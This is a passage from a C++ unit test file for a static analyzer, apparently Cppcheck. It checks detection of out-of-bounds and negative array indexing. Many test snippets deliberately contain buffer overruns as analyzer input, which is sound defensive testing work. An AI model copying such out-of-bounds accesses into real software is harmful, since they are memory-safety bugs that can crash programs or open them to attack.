i+=6)\\n\"\n \" a[i+6] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[12]' accessed at index 12, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4398\n \" int a[2];\\n\"\n \" for (int i = 0; i < 4; i+=2)\\n\"\n \" a[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'a[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4398\n \" int a[2];\\n\"\n \" for (int i = 0; i < 4; i+=2)\\n\"\n \" do_stuff(a+i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_18() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i < 6; i++)\\n\"\n \" {\\n\"\n \" a[i] = i;\\n\"\n \" i+=1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i < 6; i++)\\n\"\n \" {\\n\"\n \" a[i] = i;\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i < 6; i++)\\n\"\n \" {\\n\"\n \" a[i] = i;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i < 6; i++)\\n\"\n \" {\\n\"\n \" a[i] = i;\\n\"\n \" i=4;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (error) Array 'a[5]' accessed at index 5, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[6];\\n\"\n \" for (int i = 0; i < 7; i++)\\n\"\n \" {\\n\"\n \" a[i] = i;\\n\"\n \" i+=1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Buffer overrun\\n\", \"\", errout_str());\n }\n\n void array_index_19() {\n // \"One Past the End\" is legal, as long as pointer is not dereferenced.\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2];\\n\"\n \" char *end = &(a[2]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Getting more than one past the end is not legal\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2];\\n\"\n \" char *end = &(a[3]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Array 'a[2]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_20() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[8];\\n\"\n \" int b[10];\\n\"\n \" for ( int i = 0; i < 9; i++ )\\n\"\n \" b[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_21() {\n check(\"class A {\\n\"\n \" int indices[2];\\n\"\n \" void foo(int indices[3]);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void A::foo(int indices[3]) {\\n\"\n \" for(int j=0; j<3; ++j) {\\n\"\n \" int b = indices[j];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_22() {\n check(\"int main() {\\n\"\n \" size_t indices[2];\\n\"\n \" int b = indices[2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (error) Array 'indices[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_23() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char c[10];\\n\"\n \" c[1<<23]='a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 'c[10]' accessed at index 8388608, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_24() {\n // ticket #1492 and #1539\n const std::string charMaxPlusOne(settings0.platform.defaultSign == 'u' ? \"256\" : \"128\");\n check(\"void f(char n) {\\n\"\n \" int a[n];\\n\" // n <= CHAR_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[\" + charMaxPlusOne + \"] = 0;\\n\" // 128/256 > CHAR_MAX\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[\" + charMaxPlusOne + \"]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[\" + charMaxPlusOne + \"]' accessed at index \" + charMaxPlusOne + \", which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(signed char n) {\\n\"\n \" int a[n];\\n\" // n <= SCHAR_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[128] = 0;\\n\" // 128 > SCHAR_MAX\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[128]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[128]' accessed at index 128, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(unsigned char n) {\\n\"\n \" int a[n];\\n\" // n <= UCHAR_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[256] = 0;\\n\" // 256 > UCHAR_MAX\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[256]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[256]' accessed at index 256, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(short n) {\\n\"\n \" int a[n];\\n\" // n <= SHRT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[32768] = 0;\\n\" // 32768 > SHRT_MAX\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[32768]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[32768]' accessed at index 32768, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(unsigned short n) {\\n\"\n \" int a[n];\\n\" // n <= USHRT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[65536] = 0;\\n\" // 65536 > USHRT_MAX\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[65536]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[65536]' accessed at index 65536, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(signed short n) {\\n\"\n \" int a[n];\\n\" // n <= SHRT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[32768] = 0;\\n\" // 32768 > SHRT_MAX\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[32768]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[32768]' accessed at index 32768, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(int n) {\\n\"\n \" int a[n];\\n\" // n <= INT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[2147483648]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n\n check(\"void f(unsigned int n) {\\n\"\n \" int a[n];\\n\" // n <= UINT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[4294967296]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n\n check(\"void f(signed int n) {\\n\"\n \" int a[n];\\n\" // n <= INT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[2147483648]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_25() { // #1536\n check(\"void foo()\\n\"\n \"{\\n\"\n \" long l[SOME_SIZE];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_26() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[3];\\n\"\n \" for (int i = 3; 0 <= i; i--)\\n\"\n \" a[i] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[4];\\n\"\n \" for (int i = 3; 0 <= i; i--)\\n\"\n \" a[i] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_27() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" a[i-1] = a[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_28() {\n // ticket #1418\n check(\"void f()\\n\"\n \"{\\n\"\n \" int i[2];\\n\"\n \" int *ip = i + 1;\\n\"\n \" ip[-10] = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Array ip[-10] out of bounds.\\n\", \"\", errout_str());\n }\n\n void array_index_29() {\n // ticket #1724\n check(\"void f()\\n\"\n \"{\\n\"\n \" int iBuf[10];\"\n \" int *i = iBuf + 9;\"\n \" int *ii = i + -5;\"\n \" ii[10] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Array ii[10] out of bounds.\\n\", \"\", errout_str());\n }\n\n void array_index_30() {\n // ticket #2086 - unknown type\n // extracttests.start: typedef unsigned char UINT8;\n check(\"void f() {\\n\"\n \" UINT8 x[2];\\n\"\n \" x[5] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'x[2]' accessed at index 5, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_31() {\n // ticket #2120 - sub function, unknown type\n check(\"struct s1 {\\n\"\n \" unknown_type_t delay[3];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void x(unknown_type_t *delay, const int *net) {\\n\"\n \" delay[0] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void y() {\\n\"\n \" struct s1 obj;\\n\"\n \" x(obj.delay, 123);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct s1 {\\n\"\n \" unknown_type_t delay[3];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void x(unknown_type_t *delay, const int *net) {\\n\"\n \" delay[4] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void y() {\\n\"\n \" struct s1 obj;\\n\"\n \" x(obj.delay, 123);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:11] -> [test.cpp:6]: (error) Array 'obj.delay[3]' accessed at index 4, which is out of bounds.\\n\",\n \"\",\n errout_str());\n\n check(\"struct s1 {\\n\"\n \" float a[0];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" struct s1 *obj;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_32() {\n check(\"class X\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" X()\\n\"\n \" {\\n\"\n \" m_x[0] = 0;\\n\"\n \" m_x[1] = 0;\\n\"\n \" }\\n\"\n \" int m_x[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:11]: (error) Array 'm_x[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_33() {\n check(\"void foo(char bar[][4]) {\\n\"\n \" baz(bar[5]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_34() { // ticket #3063\n check(\"void foo() {\\n\"\n \" int y[2][2][2];\\n\"\n \" y[0][2][0] = 0;\\n\"\n \" y[0][0][2] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'y[2][2][2]' accessed at index y[0][2][0], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:4:6]: (error) Array 'y[2][2][2]' accessed at index y[0][0][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct TEST\\n\"\n \"{\\n\"\n \" char a[10];\\n\"\n \" char b[10][5];\\n\"\n \"};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" TEST test;\\n\"\n \" test.a[10] = 3;\\n\"\n \" test.b[10][2] = 4;\\n\"\n \" test.b[0][19] = 4;\\n\"\n \" TEST *ptest;\\n\"\n \" ptest = &test;\\n\"\n \" ptest->a[10] = 3;\\n\"\n \" ptest->b[10][2] = 4;\\n\"\n \" ptest->b[0][19] = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (error) Array 'test.a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:10:11]: (error) Array 'test.b[10][5]' accessed at index test.b[10][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:11:11]: (error) Array 'test.b[10][5]' accessed at index test.b[0][19], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:14:13]: (error) Array 'ptest->a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:15:13]: (error) Array 'ptest->b[10][5]' accessed at index ptest->b[10][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:16:13]: (error) Array 'ptest->b[10][5]' accessed at index ptest->b[0][19], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct TEST\\n\"\n \"{\\n\"\n \" char a[10][5];\\n\"\n \"};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" TEST test;\\n\"\n \" test.a[9][5] = 4;\\n\"\n \" test.a[0][50] = 4;\\n\"\n \" TEST *ptest;\\n\"\n \" ptest = &test;\\n\"\n \" ptest->a[9][5] = 4;\\n\"\n \" ptest->a[0][50] = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (error) Array 'test.a[10][5]' accessed at index test.a[9][5], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:9:11]: (error) Array 'test.a[10][5]' accessed at index test.a[0][50], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:12:13]: (error) Array 'ptest->a[10][5]' accessed at index ptest->a[9][5], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:13:13]: (error) Array 'ptest->a[10][5]' accessed at index ptest->a[0][50], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_35() { // ticket #2889\n check(\"void f() {\\n\"\n \" struct Struct { unsigned m_Var[1]; } s;\\n\"\n \" s.m_Var[1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Array 's.m_Var[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct Struct { unsigned m_Var[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Struct s;\\n\"\n \" s.m_Var[1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Array 's.m_Var[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct Struct { unsigned m_Var[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Struct * s = calloc(40);\\n\"\n \" s->m_Var[1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_36() { // ticket #2960\n check(\"class Fred {\\n\"\n \" Fred(const Fred &);\\n\"\n \"private:\\n\"\n \" bool m_b[2];\\n\"\n \"};\\n\"\n \"Fred::Fred(const Fred & rhs) {\\n\"\n \" m_b[2] = rhs.m_b[2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (error) Array 'm_b[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:7:21]: (error) Array 'rhs.m_b[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_37() {\n check(\"class Fred {\\n\"\n \" char x[X];\\n\"\n \" Fred() {\\n\"\n \" for (unsigned int i = 0; i < 15; i++)\\n\"\n \" i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_38() { //ticket #3273\n check(\"void aFunction() {\\n\"\n \" double aDoubleArray[ 10 ];\\n\"\n \" unsigned int i; i = 0;\\n\"\n \" for( i = 0; i < 6; i++ )\\n\"\n \" {\\n\"\n \" unsigned int j; j = 0;\\n\"\n \" for( j = 0; j < 5; j++ )\\n\"\n \" {\\n\"\n \" unsigned int x; x = 0;\\n\"\n \" for( x = 0; x < 4; x++ )\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_39() { // ticket 3387\n check(\"void aFunction()\\n\"\n \"{\\n\"\n \" char a[10];\\n\"\n \" a[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 'a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_40() {\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" for (int i = 0; i < 10; ++i)\\n\"\n \" f2(&a[i + 1]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_41() {\n // Don't generate false positives when structs have the same name\n check(\"void a() {\\n\"\n \" struct Fred { char data[6]; } fred;\\n\"\n \" fred.data[4] = 0;\\n\" // <- no error\n \"}\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" struct Fred { char data[3]; } fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void a() {\\n\"\n \" struct Fred { char data[6]; } fred;\\n\"\n \" fred.data[4] = 0;\\n\" // <- no error\n \"}\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" struct Fred { char data[3]; } fred;\\n\"\n \" fred.data[4] = 0;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (error) Array 'fred.data[3]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_42() { // ticket #3569\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *p; p = (char *)malloc(10);\\n\"\n \" p[10] = 7;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'p[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" float *p; p = (float *)malloc(10 * sizeof(float));\\n\"\n \" p[10] = 7;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'p[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *p; p = (char *)malloc(10);\\n\"\n \" p[0] = 0;\\n\"\n \" p[9] = 9;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *p; p = new char[10];\\n\"\n \" p[0] = 0;\\n\"\n \" p[9] = 9;\\n\"\n \" delete [] p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *p(new char[10]);\\n\"\n \" p[0] = 0;\\n\"\n \" p[9] = 9;\\n\"\n \" delete [] p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *p = NULL;\"\n \" try{\\n\"\n \" p = new char[10];\\n\"\n \" }\\n\"\n \" catch(...){\\n\"\n \" return;\\n\"\n \" }\"\n \" p[0] = 0;\\n\"\n \" p[9] = 9;\\n\"\n \" delete [] p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_43() { // #3838\n\n check(\"int f( )\\n\"\n \"{\\n\"\n \" struct {\\n\"\n \" int arr[ 3 ];\\n\"\n \" } var[ 1 ];\\n\"\n \" int y;\\n\"\n \" var[ 0 ].arr[ 0 ] = 0;\\n\"\n \" var[ 0 ].arr[ 1 ] = 1;\\n\"\n \" var[ 0 ].arr[ 2 ] = 2;\\n\"\n \" y = var[ 0 ].arr[ 3 ];\\n\" // <-- array access out of bounds\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:20]: (error) Array 'var[0].arr[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"int f( )\\n\"\n \"{\\n\"\n \" struct {\\n\"\n \" int arr[ 3 ];\\n\"\n \" } var[ 1 ];\\n\"\n \" int y=1;\\n\"\n \" var[ 0 ].arr[ 0 ] = 0;\\n\"\n \" var[ 0 ].arr[ 1 ] = 1;\\n\"\n \" var[ 0 ].arr[ 2 ] = 2;\\n\"\n \" y = var[ 0 ].arr[ 2 ];\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"int f( ){\\n\"\n \"struct Struct{\\n\"\n \" int arr[ 3 ];\\n\"\n \"};\\n\"\n \"int y;\\n\"\n \"Struct var;\\n\"\n \"var.arr[ 0 ] = 0;\\n\"\n \"var.arr[ 1 ] = 1;\\n\"\n \"var.arr[ 2 ] = 2;\\n\"\n \"var.arr[ 3 ] = 3;\\n\" // <-- array access out of bounds\n \"y=var.arr[ 3 ];\\n\" // <-- array access out of bounds\n \"return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:8]: (error) Array 'var.arr[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:11:10]: (error) Array 'var.arr[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n\n check(\"void f( ) {\\n\"\n \"struct S{\\n\"\n \" int var[ 3 ];\\n\"\n \"} ;\\n\"\n \"S var[2];\\n\"\n \"var[0].var[ 0 ] = 0;\\n\"\n \"var[0].var[ 1 ] = 1;\\n\"\n \"var[0].var[ 2 ] = 2;\\n\"\n \"var[0].var[ 4 ] = 4;\\n\" // <-- array access out of bounds\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (error) Array 'var[0].var[3]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f( ) {\\n\"\n \"struct S{\\n\"\n \" int var[ 3 ];\\n\"\n \"} ;\\n\"\n \"S var[2];\\n\"\n \"var[0].var[ 0 ] = 0;\\n\"\n \"var[0].var[ 1 ] = 1;\\n\"\n \"var[0].var[ 2 ] = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // avoid FPs (modified examples taken from #3838)\n check(\"struct AB { int a[10]; int b[10]; };\\n\"\n \"int main() {\\n\"\n \" struct AB ab;\\n\"\n \" int * p = &ab.a[10];\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a[10]; int b[10]; };\\n\"\n \"int main() {\\n\"\n \" struct AB ab[1];\\n\"\n \" int * p = &ab[0].a[10];\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a[10]; int b[10]; };\\n\"\n \"int main() {\\n\"\n \" struct AB ab[1];\\n\"\n \" int * p = &ab[10].a[0];\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Array 'ab[1]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_44() { // #3979 (false positive)\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char buf[2];\\n\"\n \" int i;\\n\"\n \" for (i = 2; --i >= 0; )\\n\"\n \" {\\n\"\n \" buf[i] = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double buf[2];\\n\"\n \" for (int i = 2; i--; )\\n\"\n \" {\\n\"\n \" buf[i] = 2.;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_45() { // #4207 - handling of function with variable number of parameters / unnamed arguments\n // Variable number of arguments\n check(\"void f(const char *format, ...) {\\n\"\n \" va_args args;\\n\"\n \" va_start(args, format);\\n\"\n \"}\\n\"\n \"void test() {\\n\"\n \" CHAR buffer[1024];\\n\"\n \" f(\\\"%s\\\", buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unnamed argument\n check(\"void f(char *) {\\n\"\n \" dostuff();\\n\"\n \"}\\n\"\n \"void test() {\\n\"\n \" char buffer[1024];\\n\"\n \" f(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Two statement for-loop\n void array_index_46() {\n // #4840\n check(\"void bufferAccessOutOfBounds2() {\\n\"\n \" char *buffer[]={\\\"a\\\",\\\"b\\\",\\\"c\\\"};\\n\"\n \" for(int i=3; i--;) {\\n\"\n \" printf(\\\"files(%i): %s\\\", 3-i, buffer[3-i]);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Array 'buffer[3]' accessed at index 3, which is out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buffer[9];\\n\"\n \" long int i;\\n\"\n \" for(i=10; i--;) {\\n\"\n \" buffer[i] = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Array 'buffer[9]' accessed at index 9, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // Correct access limits -> i from 9 to 0\n check(\"void f() {\\n\"\n \" int buffer[10];\\n\"\n \" for(unsigned long int i=10; i--;) {\\n\"\n \" buffer[i] = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_47() {\n // #5849\n check(\"int s[4];\\n\"\n \"void f() {\\n\"\n \" for (int i = 2; i < 0; i++)\\n\"\n \" s[i] = 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_48() {\n // #9478\n check(\"void test(void)\\n\"\n \"{\\n\"\n \" int array[4] = { 1,2,3,4 };\\n\"\n \" for (int i = 1; i <= 4; i++) {\\n\"\n \" printf(\\\" %i\\\", i);\\n\"\n \" array[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Array 'array[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void test(void)\\n\"\n \"{\\n\"\n \" int array[4] = { 1,2,3,4 };\\n\"\n \" for (int i = 1; i <= 4; i++) {\\n\"\n \" scanf(\\\"%i\\\", &i);\\n\"\n \" array[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_49() {\n // #8653\n check(\"void f() {\\n\"\n \" int i, k;\\n\"\n \" int arr[34] = {};\\n\"\n \" i = 1;\\n\"\n \" for (k = 0; k < 34 && i < 34; k++) {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" arr[k];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_50() {\n check(\"void f(const char * str) {\\n\"\n \" int len = strlen(str);\\n\"\n \" (void)str[len - 1];\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(\\\"12345678\\\");\\n\"\n \" f(\\\"12345\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_51() {\n check(\"void f(void){\\n\"\n \" int k=0, dd, d[1U] = {1};\\n\"\n \" for (dd=d[k]; k<10; dd=d[++k]){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: (error) Array 'd[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_52() {\n check(\"char f(void)\\n\"\n \"{\\n\"\n \" char buf[10];\\n\"\n \" for(int i = 0, j= 11; i < j; ++i)\\n\"\n \" buf[i] = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: 